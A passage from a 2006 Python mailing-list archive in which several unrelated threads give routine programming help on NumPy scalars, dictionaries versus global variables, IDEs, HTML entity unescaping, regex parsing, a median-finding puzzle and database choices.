9.78714000e+008, 8.00000000e+000], > [ 9.78973200e+008, 8.00000000e+000], > [ 9.79059600e+008, 8.00000000e+000], > [ 9.79146000e+008, 8.00000000e+000], > [ 9.79232400e+008, 9.00000000e+000], > [ 9.79318800e+008, 8.00000000e+000]]) This is odd but we need to know the version numbers of both packages to help further. For one, I'm surprised that you can use Numeric.asarray to force cast to Numeric.Float32 without raising an error. Also, you can ask on numpy-discussion at lists.sourceforge.net to reach an audience more directly able to help. > [Dbg]>>> > > > and why and what is: > > [Dbg]>>> m[0,1] > 7.44 > [Dbg]>>> type(_) > > [Dbg]>>> > > > does this also slow down python math computations? No, not necessarily (depends on what you mean). Python floats are still Python floats. NumPy provides, in addition, an array scalar for every "kind" of data that a NumPy array can be composed of. This avoids the problems with being unable to find an appropriate Python scalar for a given data-type. Where possible, the NumPy scalar inherits from the Python one. By default, the NumPy scalars have their own math defined which uses the error-mode setting capabilities of NumPy to handle errors. Right now, these operations are a bit slower than Python's built-ins because of the way that "mixed" calculations are handled. For, the data-types that over-lap with Python scalars you can set things up so that NumPy scalars use the Python math instead if you want. But, again, NumPy does nothing to change the way that Python numbers are calculated. > should one better stay away from numpy in current stage of numpy development? No, definitely not. Don't stay away. NumPy 1.0 is out. From steve at holdenweb.com Tue Oct 31 05:01:28 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 31 Oct 2006 10:01:28 +0000 Subject: create global variables? In-Reply-To: <45471B66.9060702@helsinki.fi> References: <1162275890.4546ec32cd351@www2.helsinki.fi> <45471B66.9060702@helsinki.fi> Message-ID: Alistair King wrote: > Steve Holden wrote: > >>aking at mappi.helsinki.fi wrote: >> >> >>>J. Clifford Dyer wrote: >>> >>> >>> >>>>Alistair King wrote: >>>> >> >>[... advice and help ...] >> >> >> >>>this worked a treat: >>> >>>def monoVarcalc(atom): >>> >>> a = atom + 'aa' >>> Xaa = a.strip('\'') >>> m = atom + 'ma' >>> Xma = m.strip('\'') >>> Xaa = DS1v.get(atom) >>> Xma = pt.get(atom) >>> return Xaa, Xma >>> >>> >>>Caa, Cma = monoVarcalc('C') >>> >>> >> >>In which case I suspect you will find that this works just as well: >> >>def monoVarcalc(atom): >> >> Xaa = DS1v.get(atom) >> Xma = pt.get(atom) >> return Xaa, Xma >> >> >>Unless there is something decidedly odd about the side-effects of the >>statements I've removed, since you never appear to use the values of a, >>m, Xaa and Xma there seems little point in calculation them. >> >>regards >> Steve >> > > Yup...it works..but now i have to create a dictionary of 'a' and 'm', > ie... "Xaa" and "Xma" string, key:value pairs so i can use other > functions on the Xaa, Xma variables by iterating over them and > retrieving the values from the variables. I think if i just input Xaa > and Xma, only the values associated with those variables will go into > the dictionary and ill just be iterating over nonsence..... > > atomsmasses = {} > > def monoVarcalc(atom): > a = atom + 'aa' > m = atom + 'ma' > atomsmasses[a]=m > Xaa = a.strip('\'') > Xma = m.strip('\'') > Xma = pt.get(atom) > if DS1v.get(atom) != None: > Xaa = DS1v.get(atom) > else: > Xaa = 0 > return Xaa, Xma > > Caa, Cma = monoVarcalc('C') > Oaa, Oma = monoVarcalc('O') > Haa, Hma = monoVarcalc('H') > Naa, Nma = monoVarcalc('N') > Saa, Sma = monoVarcalc('S') > Claa, Clma = monoVarcalc('Cl') > Braa, Brma = monoVarcalc('Br') > Znaa, Znma = monoVarcalc('Zn') > > > > i think? :) > thanks > > a > No fair: you only just added atomsmasses! ;-) However, it seems to me that your atomsmasses dictionary is going to be entirely predictable, and you are still focusing on storing the *names* of things rather than building up a usable data structure. Indeed I suspect that your problem can be solved using only the names of the elements, and not the names of the variables that hold various attributes of the elements. Perhaps if you explain in plain English what you *really* want to do we can help you find a more Pythonic solution. It'll probably end up something like this: mass = {} for element in ['C', 'O', ..., 'Zn'] mass[element] = monoVarcalc(element) But I could, of course, be completely wrong ... it wouldn't be the first time. Do you understand what I'm saying? regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From bignose+hates-spam at benfinney.id.au Wed Oct 25 23:00:38 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 26 Oct 2006 13:00:38 +1000 Subject: question about True values References: <7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar> <7xejsv3if5.fsf@ruckus.brouhaha.com> Message-ID: <87d58fkch5.fsf@benfinney.id.au> Paul Rubin <"http://phr.cx"@NOSPAM.invalid> writes: > Max Erickson writes: > > > [Steve:] There's still a very obvious omission ... > > > > bool. > > > > unicode and long if you are fussy. > > There's another. Imagine a datatype for Discordian religious > leaders and consider what a genderless one would be called. Hah! Not as obvious as the omission of 'bool', but: NoneType None -- \ "A man's only as old as the woman he feels." -- Groucho Marx | `\ | _o__) | Ben Finney From skip at pobox.com Fri Oct 13 13:04:56 2006 From: skip at pobox.com (skip at pobox.com) Date: Fri, 13 Oct 2006 12:04:56 -0500 Subject: IDE that uses an external editor? Message-ID: <17711.51000.610108.986578@montanaro.dyndns.org> One thing that's kept me from even looking at IDEs is that to the best of my knowledge none of them will integrate properly with external editors like Emacs or vi. I know lots of tools support "Emacs-like keybindings", but believe me, I've never found one that does a decent job of that. There is just so much more to powerful editors like Emacs or vi than a handful of cursor movement commands. Once a person is proficient they generally won't accept substitutes. So, please prove me wrong. Are there any IDEs that will actually work with an external instance of Emacs (either by firing it up or by using a remote connection program like gnuclient)? Thx, Skip From johnjsal at NOSPAMgmail.com Thu Oct 26 13:57:32 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 26 Oct 2006 17:57:32 GMT Subject: What's the best IDE? In-Reply-To: References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> <454004a9$0$19602$88260bb3@free.teranews.com> <1161828498.791044.144040@f16g2000cwb.googlegroups.com> <7g40h.165$1n3.4282@news.tufts.edu> Message-ID: Neil Cerutti wrote: > On 2006-10-26, John Salerno wrote: >> Hakusa at gmail.com wrote: >>> as I have yet to try Vim - maybe I'll try tomarrow. >> Warning: Vim isn't something you just "try tomorrow" :) > > You can become proficient enough for basic editing in about 20 > minutes with the built-in tutorial. > > Getting it to work seemlessly with Python code will take > considerably longer. > Yeah, it was all the customizing that I could never figure out. From franz.steinhaeusler at gmx.at Thu Oct 5 04:06:44 2006 From: franz.steinhaeusler at gmx.at (Franz Steinhaeusler) Date: Thu, 5 Oct 2006 10:06:44 +0200 (CEST) Subject: Applications written in TkInter Message-ID: Hi, I wonder, if there is a site with a collection of written TkInter programs. I did not find any summary. for pyGtk there exist for example: http://www.pygtk.org/applications.html and for wxPython: http://wiki.wxpython.org/index.cgi/wxPythonPit_Apps -- Franz Steinhaeusler From robert.kern at gmail.com Fri Oct 6 14:07:16 2006 From: robert.kern at gmail.com (Robert Kern) Date: Fri, 06 Oct 2006 11:07:16 -0700 Subject: Need array help In-Reply-To: <5e-dnRqTsKLmBLvYnZ2dnUVZ_tOdnZ2d@comcast.com> References: <5e-dnRqTsKLmBLvYnZ2dnUVZ_tOdnZ2d@comcast.com> Message-ID: Larry Bates wrote: > If you want to > do vector math or matrix-type calculations look at the > array module. The array module in the standard library does not provide such capabilities. If you need them, look at numpy. http://numpy.scipy.org -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From uche.ogbuji at gmail.com Fri Oct 6 14:38:32 2006 From: uche.ogbuji at gmail.com (uche.ogbuji at gmail.com) Date: 6 Oct 2006 11:38:32 -0700 Subject: Trying to find a elements Xpath and store it as a attribute In-Reply-To: <1159752753.215621.163680@e3g2000cwe.googlegroups.com> References: <1159752753.215621.163680@e3g2000cwe.googlegroups.com> Message-ID: <1160159912.403604.129320@m73g2000cwd.googlegroups.com> provowallis wrote: > Hi all, > > I've been struggling with this for a while so I'm hoping that someone > could point me in the right direction. Here's my problem: I'm trying to > get the XPath for a given node in my document and then store that XPath > as an attribute of the element itself. If anyone has a recommendation > I'd be happy to hear it. Sorry. I only check c.l.py once a week or so... > For instance, I would take this XML > > ###before > > > > An XSLT Programmer > Hello, World! > > > ###after > > > > An XSLT Programmer > Hello, World! > > > ### > > import sets > import amara > from amara import binderytools > > doc = amara.parse('hello.xml') > elems = {} > > for e in doc.xml_xpath('//*'): > > paths = elems.setdefault((e.namespaceURI, e.localName), > sets.Set()) > path = u'/'.join([n.nodeName for n in > e.xml_xpath(u'ancestor::*')]) > paths.add(u'/' + path) > > for name in elems: > > doc.name.km = elems[name] It's a tougher problem than you may think :-) Luckily it's a problem I've worked on. For discussion see: http://www.xml.com/pub/a/2004/11/24/py-xml.html For an updated solution see abs_path in Amara domtools. In most cases you can safely call that on an Amara bindery node. -- Uche Ogbuji Fourthought, Inc. http://uche.ogbuji.net http://fourthought.com http://copia.ogbuji.net http://4Suite.org Articles: http://uche.ogbuji.net/tech/publications/ From rvernica at gmail.com Tue Oct 31 23:46:02 2006 From: rvernica at gmail.com (Rares Vernica) Date: Tue, 31 Oct 2006 20:46:02 -0800 Subject: unescape HTML entities In-Reply-To: References: Message-ID: Hi, How does your code deal with ' like entities? Thanks, Ray Klaus Alexander Seistrup wrote: > Rares Vernica wrote: > >> How can I unescape HTML entities like " "? >> >> I know about xml.sax.saxutils.unescape() but it only deals with >> "&", "<", and ">". >> >> Also, I know about htmlentitydefs.entitydefs, but not only this >> dictionary is the opposite of what I need, it does not have >> " ". > > How about something like: > > #v+ > #!/usr/bin/env/python > '''dehtml.py''' > > import re > import htmlentitydef > > myrx = re.compile('&(' + '|'.join(htmlentitydefs.name2codepoint.keys()) + ');') > > def dehtml(s): > return re.sub( > myrx, > lambda m: unichr(htmlentitydefs.name2codepoint[m.group(1)]), > s > ) > # end def dehtml > > if __name__ == '__main__': > import sys > print dehtml(sys.stdin.read()).encode('utf-8') > # end if > > #v- > > E.g.: > > #v+ > > $ echo 'frække frølår' | ./dehtml.py > fr?kke fr?l?r > $ > > #v- > From fulvio at pc.jaring.my Thu Oct 12 02:50:56 2006 From: fulvio at pc.jaring.my (Fulvio) Date: Thu, 12 Oct 2006 14:50:56 +0800 Subject: error handling In-Reply-To: <7.0.1.0.0.20061011174528.04116678@yahoo.com.ar> References: <1160594180.913653.268200@m7g2000cwm.googlegroups.com> <7.0.1.0.0.20061011174528.04116678@yahoo.com.ar> Message-ID: <200610121450.56983.fulvio@pc.jaring.my> On Thursday 12 October 2006 04:47, Gabriel Genellina wrote: > |Why not refer to the *current* documentation? Gabriel, Thank you, some time I (we) forget to look at the most obvious place ;) Meanwhile yesterday I found some useful info on the web, which an *except* statement needs a string object or class for a named exception. Now I got the meaning and " sys.exc_info()[0]" Bernard's idea is useful to fish out more clues. F From bogus@does.not.exist.com Sat Oct 7 01:27:41 2006 From: bogus@does.not.exist.com (goyatlah) Date: Sat, 07 Oct 2006 07:27:41 +0200 Subject: problem with split References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com> Message-ID: <03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com> Think you need a regex like this: regex = r"\s*instr\s+([0-9]+)\s*(;.*)?" Then: import re test = re.compile(regex) testing is done as follows: res = test.match(mystring) if res: number = res.group(1) # always a string consisting of decimals comment = res.group(2) # string starting with ; or None it might be necessary to have the instr part of the regex as follows [iI][nN][sS][tT][rR] to handle things like Instr or INSTR. Hope this helps Dolf On 6 Oct 2006 21:07:43 -0700, "Eric_Dexter at msn.com" wrote: >apologies if I annoy and for spacing (google) > > > >def csdInstrumentList(from_file): > "Returns a list of .csd instruments and any comment lines after the >instrument" > infile = open(from_file, 'r') > temp_number = 0 > for line in infile: > if 'instr' in line: > s = re.split(r' +',line,3) > instr_number = s[1] > return instr_number > >I am coming pretty close to what I want with variations on theis but I >cant seem to >get 3 lines with the split and instr_number[array] = s[1] seems to give >me an error. >the data from the line I am trying to split in three would look like >this > > instr 83 ;comment would be here > >I want comment returned in an array and instr_number returned in an >array. From fredrik at pythonware.com Mon Oct 30 02:20:17 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 08:20:17 +0100 Subject: Event driven server that wastes CPU when threaded doesn't In-Reply-To: <4qlmncFnjfn7U1@individual.net> References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com> <1162156412.199341.315540@i42g2000cwa.googlegroups.com> <4qlmncFnjfn7U1@individual.net> Message-ID: Bjoern Schliessmann wrote: >> If that is not an option, then you are faced with a problem of >> connecting a threaded programming model with an event based model >> (twisted and and such). > > I don't really see how threads could avoid a problem with delays in > one connection ... by running the database queries in one or more separate threads, you can still serve requests that don't hit the database (either because they're entirely self-contained, or because they only rely on cached data). From edreamleo at charter.net Mon Oct 23 07:24:23 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Mon, 23 Oct 2006 06:24:23 -0500 Subject: ANN: $500 prize for best Leo slideshows Message-ID: A prize of $500 prize is hereby offered to the person or persons who can create the best slide shows (using Leo's slideshow plugin) that introduces Leo to newbies. What is Leo, you ask? Home: http://webpages.charter.net/edreamleo/front.html Tutorial: http://webpages.charter.net/edreamleo/leo_TOC.html FAQ: http://webpages.charter.net/edreamleo/FAQ.html Wiki: http://leo.zwiki.org/FrontPage 1. Prize fund The total prize fund is $500. Prizes will be awarded solely at the discretion of Edward K. Ream. The prize fund may be split among contestants, and the total prize fund will be distributed only if the number and quality of submissions warrant it. 2. Format of entries Entries should be a *single* Leo outline. This outline may contain multiple slideshows. Multiple entries are allowed. Entries must be accompanied by your name, address and email address. 3. Ownership of entries All entries become the property of Edward K. Ream and will be distributed under the terms of Leo's Open Source license. 4. Criteria for awards Prizes will be awarded on how useful the slideshow is in helping newbies understand Leo. To be considered for an award, an entry must show substantial work. I'll also consider creativity, originality, etc. I'll also look favorably on extensions to the slideshow plugin if such extensions materially improve the presentation. 5. Duration of contest The contest shall end December 11, 2006. The contest may be extended at the sole discretion of Edward K. Ream, but in no event shall the contest continue past February 2, 2007. Prizes will be awarded within one week of the close of the contest. Winners will be announced on Leo's Open Discussion Forum: http://sourceforge.net/forum/forum.php?forum_id=10226 Edward -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From mail at microcorp.co.za Mon Oct 9 01:48:05 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Mon, 9 Oct 2006 07:48:05 +0200 Subject: People's names (was Re: sqlite3 error) References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> Message-ID: <018501c6eb67$33fe4ae0$03000080@hendrik> "Dennis Lee Bieber" wrote: 8<-------------------------------------- > In the days of paper filing (I actually took Shorthand, and a > Business Machines & Filing course in High School to avoid Phys.Ed.) the > training for things like oriental names was to choose one for "surname". > This is where the real papers would be stored. However, one was also > taught to create cross-reference entries under the other names -- > basically single cards of the form: > > sort, name > see name, sort > > I'll concede I doubt if any common database system is designed to > include that concept This sort of thing reminds me of a parts inventory system that I worked on - many moons ago - it had a replacement list consisting of - and you had to follow these links through to the bitter end, as it could happen multiple times, avoiding infinite loops as you go - on a "mainframe" with 64 kilobytes of core memory - not a job for recursion... But luckily we had disks - I would hate to have to do this on a tape drive only machine... - Hendrik From carsten at uniqsys.com Sun Oct 15 00:18:29 2006 From: carsten at uniqsys.com (Carsten Haese) Date: Sun, 15 Oct 2006 00:18:29 -0400 Subject: problem with the 'math' module in 2.5? In-Reply-To: <1160883192.973842.240290@m7g2000cwm.googlegroups.com> References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com> Message-ID: <20061015035913.M22853@uniqsys.com> On 14 Oct 2006 20:33:13 -0700, Chris wrote > >>> from math import * > >>> sin(0) > 0.0 > >>> sin(pi) > 1.2246063538223773e-016 > >>> sin(2*pi) > -2.4492127076447545e-016 > >>> cos(0) > 1.0 > >>> cos(pi) > -1.0 > >>> cos(2*pi) > 1.0 > > The cosine function works fine, but I'm getting weird answers for sine. > Is this a bug? Am I doing something wrong? You're apparently not correctly reading python's answer to sin(pi). 1.2246063538223773e-016 is the scientific notation for the number 0.00000000000000012246063538223773, which is pretty darn close to zero, the result you probably expected. You're not getting *exactly* zero because you're not passing in *exactly* pi but a close approximation of pi. I'll leave it as an exercise for the reader to explain why cosine seems to work fine. Hint: Look at cos(pi/2) and sin(pi/2). -Carsten From http Tue Oct 3 08:38:07 2006 From: http (Paul Rubin) Date: 03 Oct 2006 05:38:07 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> Message-ID: <7x1wppk21c.fsf@ruckus.brouhaha.com> Ben Finney writes: > The existing SourceForge system runs on non-free software, which is a > significant differentiator from Bugzilla. The SourceForge software, at least in some versions, is free software. See for example http://savannah.gnu.org for an instantiation, which may be a fork. I never followed the saga much. From http Thu Oct 12 20:54:25 2006 From: http (Paul Rubin) Date: 12 Oct 2006 17:54:25 -0700 Subject: Standard Forth versus Python: a case study References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <1160652722.908731.213650@i42g2000cwa.googlegroups.com> <7xfydtojhe.fsf@ruckus.brouhaha.com> <7x4pu9bw3z.fsf@ruckus.brouhaha.com> <1160685854.118420.133080@e3g2000cwe.googlegroups.com> Message-ID: <7xmz81m3we.fsf@ruckus.brouhaha.com> Gabriel Genellina writes: > That explains all. Finding the median in an efficient way (that is, > without sorting the data first) isn't trivial, so your claim of "I can > do that using only one temp variable" was a bit surprising... > BTW, the median is the value which sits just in the middle of the list > when ordered: median(3,5,12,1,2)=median(1,2,3,5,12) = 3 How is this? Note that m and n are treated as constants, so expressions like n-1, n/2 etc. are also constants. Also assume m[i+1] is evaluated as (m+1)[i] and of course m+1 is constant. ================================================================ #include int median (int m[], int n) { int i; while (1) { for (i = 0; i < n-1; i++) { if (m[i] > m[i+1]) { /* swap m[i] and m[i+1] with no temp var */ m[i] ^= m[i+1]; m[i+1] ^= m[i]; m[i] ^= m[i+1]; goto yes; } } break; yes: for (i = 0; i < n-1; i++) { if (m[i] > m[i+1]) { m[i] ^= m[i+1]; m[i+1] ^= m[i]; m[i] ^= m[i+1]; } } } return m[n / 2]; } int a[] = {9,6,1,5,4,2,8,3,7}; main() { int m; m = median(a, 9); printf ("%d\n", m); } From http Wed Oct 4 16:23:58 2006 From: http (Paul Rubin) Date: 04 Oct 2006 13:23:58 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240E19.3040000@v.loewis.de> Message-ID: <7xwt7f4yox.fsf@ruckus.brouhaha.com> "Martin v. L?wis" writes: > You fail to recognize that Python is *already* using a non-free software > for bug tracking, as do thousands of other projects. I don't think that reflects an explicit decision. SF started out as free software and the software became nonfree after people were already using it. From http Thu Oct 12 01:21:11 2006 From: http (Paul Rubin) Date: 11 Oct 2006 22:21:11 -0700 Subject: Standard Forth versus Python: a case study References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> Message-ID: <7xslhuxg6w.fsf@ruckus.brouhaha.com> "Paul McGuire" writes: > Ok, I'll bite. How do you compute the median of a list using just a single > temp var? Well there's an obvious quadratic-time method... From codecraig at gmail.com Thu Oct 19 15:06:24 2006 From: codecraig at gmail.com (abcd) Date: 19 Oct 2006 12:06:24 -0700 Subject: Image.draft -- what are the modes that I can use? In-Reply-To: References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com> <1161179376.827555.239810@i3g2000cwc.googlegroups.com> <1161181585.245045.41680@b28g2000cwb.googlegroups.com> Message-ID: <1161284784.295418.5940@k70g2000cwa.googlegroups.com> Gabriel Genellina wrote: > A VNC server is about 400K in size... Yea, VNC is not an option in my case. thanks anyway, perhaps I'll look into generating a slideshow using HTML/javascript which can load the images. From larry.bates at websafe.com Thu Oct 5 16:45:32 2006 From: larry.bates at websafe.com (Larry Bates) Date: Thu, 05 Oct 2006 15:45:32 -0500 Subject: Request for recommendations: shared database without a server In-Reply-To: <1160077602.190028.286290@h48g2000cwc.googlegroups.com> References: <1160077602.190028.286290@h48g2000cwc.googlegroups.com> Message-ID: <45256EEC.5030705@websafe.com> EP wrote: > I need to build a fairly simple application that will reside on remote > storage, not on a server, and I am looking for any best practices and > approaches that have worked for others. I believe py2exe may be part > of the solution. Here's what I need to build: > > -- A database application on a network drive > -- A variety of users will access the database application at various > times > -- All computing is done on the client machines (Windows XP), as there > is no server > -- I'll not be able to install a database program, or Python, on the > client machines > > While this seems just the sort of application servers were designed > for, the absence of a server is a firm constraint (no technological > reason, just an arbitrary wall of infinite height) > > I currently have some of the required database tables populated in > MySQL, but I can migrate them as long as I have SQL capabilities in the > new database. > > Can I get there with MySQL? Or do I need to pair a pure python > approach (including the database) with py2exe? Has anyone achieved > this with a db framework like Dabo? Or is there another, entirely > different and better approach? > > > The common wisdom around the halls is to just use MS Access, because > apparently everyone has that on their client machines, or can be > asked/expected to install it. That's not my preference, but I need to > forget my biases, be pragmatic and get the application done. > > Thanks for any advice > > > EP > So what is going to be holding the "network drive" if it isn't a server? And what is MySQL running on? Isn't it 'odd' that you can expect people to install MS Access but not some other program? I had to use only "existing" database tools, and the data wasn't too large or too complicated I would use ODBC to dBase file which is built into all versions of Windows that I'm aware of. I think you would find that it would work for small number of users. With some good planning you should also be able to architect application so that you can even change the underlying database later without too much heartburn. -Larry Bates From robert.kern at gmail.com Fri Oct 20 15:04:46 2006 From: robert.kern at gmail.com (Robert Kern) Date: Fri, 20 Oct 2006 14:04:46 -0500 Subject: ZODB and Python 2.5 In-Reply-To: References: Message-ID: Andrew McLean wrote: > I'm going to have to delay upgrading to Python 2.5 until all the > libraries I use support it. One key library for me is ZODB. I've Googled > and can't find any information on the developers' plans. Does anyone > have any information that might help? Since the Python development team tries hard to maintain backwards compatibility, the vast majority of Python packages will automatically support the newest release of Python in that they will work just dandy. Developers don't really have plans to do that kind of support since it just happens. If you mean something else by "support" (like making use of new language or standard library features), then what do you mean? I would suggest, in order: 1) Look on the relevant mailing list for people talking about using ZODB with Python 2.5. 2) Just try it. Install Python 2.5 alongside 2.4, install ZODB, run the test suite. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From python.sam at googlemail.com Sun Oct 1 18:29:52 2006 From: python.sam at googlemail.com (sam) Date: 1 Oct 2006 15:29:52 -0700 Subject: how to reuse class deinitions? In-Reply-To: <1159741672.092963.190270@m73g2000cwd.googlegroups.com> References: <1159741672.092963.190270@m73g2000cwd.googlegroups.com> Message-ID: <1159741792.157143.222520@e3g2000cwe.googlegroups.com> should read 'definitions', of course. i hate stupid typos. From wolfgang.keller.nospam at gmx.de Fri Oct 20 08:29:01 2006 From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller) Date: Fri, 20 Oct 2006 14:29:01 +0200 Subject: Book about database application development? References: <0001HW.C157FA8900644D9AF0407530@news.individual.de> Message-ID: <0001HW.C15E8DAD003CA999F0509530@news.individual.de> >> does anyone know of a good book that about development of database >> applications? > > Scott Ambler's "Agile Database Techniques" Thanks for the hint, the summaries indicate that this one could be very useful indeed. Sincerely, Wolfgang Keller -- My email-address is correct. Do NOT remove ".nospam" to reply. From python at hope.cz Tue Oct 17 05:56:45 2006 From: python at hope.cz (Lad) Date: 17 Oct 2006 02:56:45 -0700 Subject: Any idea how to do this in Python? In-Reply-To: References: <1161072836.884393.204810@f16g2000cwb.googlegroups.com> Message-ID: <1161079005.891146.283920@i42g2000cwa.googlegroups.com> Dennis, Thank you for your reply You say: >Pretend you are the computer/application/etc. How would YOU > perform such a ranking? That is what I do not know , how to perform such ranking. Do you have any idea? Regards, Lad. From grflanagan at yahoo.co.uk Thu Oct 12 18:01:25 2006 From: grflanagan at yahoo.co.uk (Gerard Flanagan) Date: 12 Oct 2006 15:01:25 -0700 Subject: paseline(my favorite simple script): does something similar exist? In-Reply-To: <1160678742.899863.11760@c28g2000cwb.googlegroups.com> References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com> Message-ID: <1160690485.551317.271150@m73g2000cwd.googlegroups.com> RickMuller wrote: > One of my all-time favorite scripts is parseline, which is printed > below > > def parseline(line,format): > xlat = {'x':None,'s':str,'f':float,'d':int,'i':int} > result = [] > words = line.split() > for i in range(len(format)): > f = format[i] > trans = xlat.get(f,'None') > if trans: result.append(trans(words[i])) > if len(result) == 0: return None > if len(result) == 1: return result[0] > return result > > This takes a line of text, splits it, and then applies simple > formatting characters to return different python types. For example, > given the line > > H 0.000 0.000 0.000 > > I can call parseline(line,'sfff') and it will return the string 'H', > and three floats. If I wanted to omit the first, I could just call > parseline(line,'xfff'). If I only wanted the first 0.000, I could call > parseline(line,'xf'). [...] > I would love to hear how other people do similar things. > > Rick MAP = {'s':str,'f':float,'d':int,'i':int} def parseline( line, format, separator=' '): ''' >>> parseline('A 1 2 3 4', 'sdxf') ['A', 1, 3.0] ''' mapping = [ (i, MAP[f]) for (i,f) in enumerate(format) if f != 'x' ] parts = line.split(separator) return [f(parts[i]) for (i,f) in mapping] def parseline2( line, format): ''' >>> parseline('A 1 2 3 4', 'sdxf') ['A', 1, 3.0] ''' return [f(line.split()[i]) for (i,f) in [(i, MAP[f]) for (i,f) in enumerate(format) if f != 'x']] def parselines(lines, format, separator=' '): ''' >>> lines = [ 'A 1 2 3 4', 'B 5 6 7 8', 'C 9 10 11 12'] >>> list(parselines(lines, 'sdxf')) [['A', 1, 3.0], ['B', 5, 7.0], ['C', 9, 11.0]] ''' mapping = [ (i, MAP[f]) for (i,f) in enumerate(format) if f != 'x' ] for line in lines: parts = line.split(separator) yield [f(parts[i]) for (i,f) in mapping] import doctest doctest.testmod(verbose=True) From python.list at tim.thechases.com Sun Oct 15 09:37:33 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Sun, 15 Oct 2006 08:37:33 -0500 Subject: Reverse string-formatting (maybe?) In-Reply-To: <1160918263.478229.137760@h48g2000cwc.googlegroups.com> References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com> <1160916174.892851.39730@e3g2000cwe.googlegroups.com> <1160918100.141668.128850@h48g2000cwc.googlegroups.com> <1160918263.478229.137760@h48g2000cwc.googlegroups.com> Message-ID: <4532399D.2050700@tim.thechases.com> >>> >>> template = '%s, %s, %s' >>> >>> values = ('Tom', 'Dick', 'Harry') >>> >>> formatted = template % values >>> >>> import re >>> >>> unformat_string = template.replace('%s', '([^, ]+)') >>> >>> unformatter = re.compile(unformat_string) >>> >>> extracted_values = unformatter.search(formatted).groups() >>> >>> using '[^, ]+' to mean "one or more characters that aren't a >>> comma or a space". >> >> One more thing (I forgot to mention this other situation earlier) >> The %s characters are ints, and outside can be anything except int >> characters. I do have one situation of '%s%s%s', but I can change it to >> '%s', and change the output into the needed output, so that's not >> important. Think something along the lines of "abckdaldj iweo%s >> qwierxcnv !%sjd". > > That was written in haste. All the information is true. The question: > I've already created a function to do this, using your original > deformat function. Is there any way in which it might go wrong? Only you know what anomalies will be found in your data-sets. If you know/assert that -the only stuff in the formatting string is one set of characters -that stuff in the replacement-values can never include any of your format-string characters -that you're not using funky characters/formatting in your format string (such as "%%" possibly followed by an "s" to get the resulting text of "%s" after formatting, or trying to use other formatters such as the aforementioned "%f" or possibly "%i") then you should be safe. It could also be possible (with my original replacement of "(.*)") if your values will never include any substring of your format string. If you can't guarantee these conditions, you're trying to make a cow out of hamburger. Or a pig out of sausage. Or a whatever out of a hotdog. :) Conventional wisdom would tell you to create a test-suite of format-strings and sample values (preferably worst-case funkiness in your expected format-strings/values), and then have a test function that will assert that the unformatting of every formatted string in the set returns the same set of values that went in. Something like tests = { 'I was %s but now I am %s' : [ ('hot', 'cold'), ('young', 'old'), ], 'He has 3 %s and 2 %s' : [ ('brothers', 'sisters'), ('cats', 'dogs') ] } for format_string, values in tests: unformatter = format.replace('%s', '(.*)') for value_tuple in values: formatted = format_string % value_tuple unformatted = unformatter.search(formatted).groups() if unformatted <> value_tuple: print "%s doesn't match %s when unformatting %s" % ( unformatted, value_tuple format_string) -tkc From laurent.pointal at limsi.fr Tue Oct 24 05:32:20 2006 From: laurent.pointal at limsi.fr (Laurent Pointal) Date: Tue, 24 Oct 2006 11:32:20 +0200 Subject: Python 2.5 ; Effbot console ; thank ; pb release. In-Reply-To: References: <453ce1a9$0$25910$ba4acef3@news.orange.fr> <021801c6f734$cb375900$03000080@hendrik> <87lkn6qh6q.fsf@benfinney.id.au> Message-ID: Thomas Heller a ?crit : > Ben Finney schrieb: >> "Hendrik van Rooyen" writes: >> >> [quoting problems fixed] >> >>> "Fredrik Lundh" wrote: >>>> some days, I ask myself why I shouldn't just use GPL for >>>> everything I do, and ship it as source code only. >>> because then you would deny your work to thousands of ungrateful, >>> unmotivated lazy buggers like me... >> Not necessarily. All it needs is one person (with the same platform >> you want to use) to take the source, build it for that platform, and >> make it available. All the other "ungrateful, unmotivated lazy >> buggers" can then take advantage of that -- and reward the person with >> whatever praise they require :-) >> > I wonder if it would be possible to setup a windows box which provides > a (web-)service that allows to build Python packages. You will have the problem of third-party libraries dependancies (and installation). > Any ideas how this could be made secure? > > Thomas > From kenneth.m.mcdonald at sbcglobal.net Wed Oct 25 15:42:56 2006 From: kenneth.m.mcdonald at sbcglobal.net (Kenneth 